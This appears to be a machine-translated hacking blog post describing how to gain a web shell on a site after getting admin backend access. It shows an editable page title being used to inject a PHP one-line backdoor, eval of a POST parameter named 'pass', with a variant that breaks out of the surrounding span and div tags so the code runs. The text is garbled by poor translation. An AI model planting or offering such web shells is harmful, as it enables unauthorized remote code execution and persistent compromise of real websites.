Use shell to generate separate pages in the background

Today, a bird in the group lost a background to help get shell. At first glance it's FCK, and it's all about getting the results... the PHP language is useless. The process is not important. Later, I opened various links at the front end and checked them with the background. I found that the pages that we can only use for recruitment are independent php pages. Write a sentence. As for how to write, let me talk about it.

Check the Code:

<Div id = "con660" class = "left">
<Div class = "con">
<H4> business field <Span class = "hei"> title </span> <br>
<Br>
<Span class = "hei"> Title 2 </span> <br>
<Div class = "heidian"> content </div>
<Div class = "heidian"> content </div>
<Div class = "heidian"> content </div>
<Div class = "heidian"> content </div> <br>

</Div>
<Div class = "clear"> </div>
</Div>

 

This is the part that can be controlled in the background. We can see that the title and content are put in a DIV.

Take the title for example.

<Span class = "hei"> title </span>

Writing a sentence directly will become

<Span class = "hei"> <? Php @ eval ($ _ POST ['pass']);?> </Span>

In this case, the execution fails. All we need to do is add a little more code. To put it bluntly, we just need to find a way to break away from the control of <span> and <div>.

For example, we write the title

</Span> </div> <? Php @ eval ($ _ POST ['pass']);?> <Span>

In this way, the output result becomes

<Div> <span class = "hei"> </span> </div> <? Php @ eval ($ _ POST ['pass']);?> <Span> </span>

In this way, we can successfully execute our code, but today the background title is limited to a few words, and the Content Editor is also broken. You can only write

</Span> </div> <? Php @ eval ($ _ POST

So I told him that he had doubts. Well, this is actually just a simple piece of code. To put it bluntly, he just commented out the DIV SPAN and inserted a backdoor into the shell.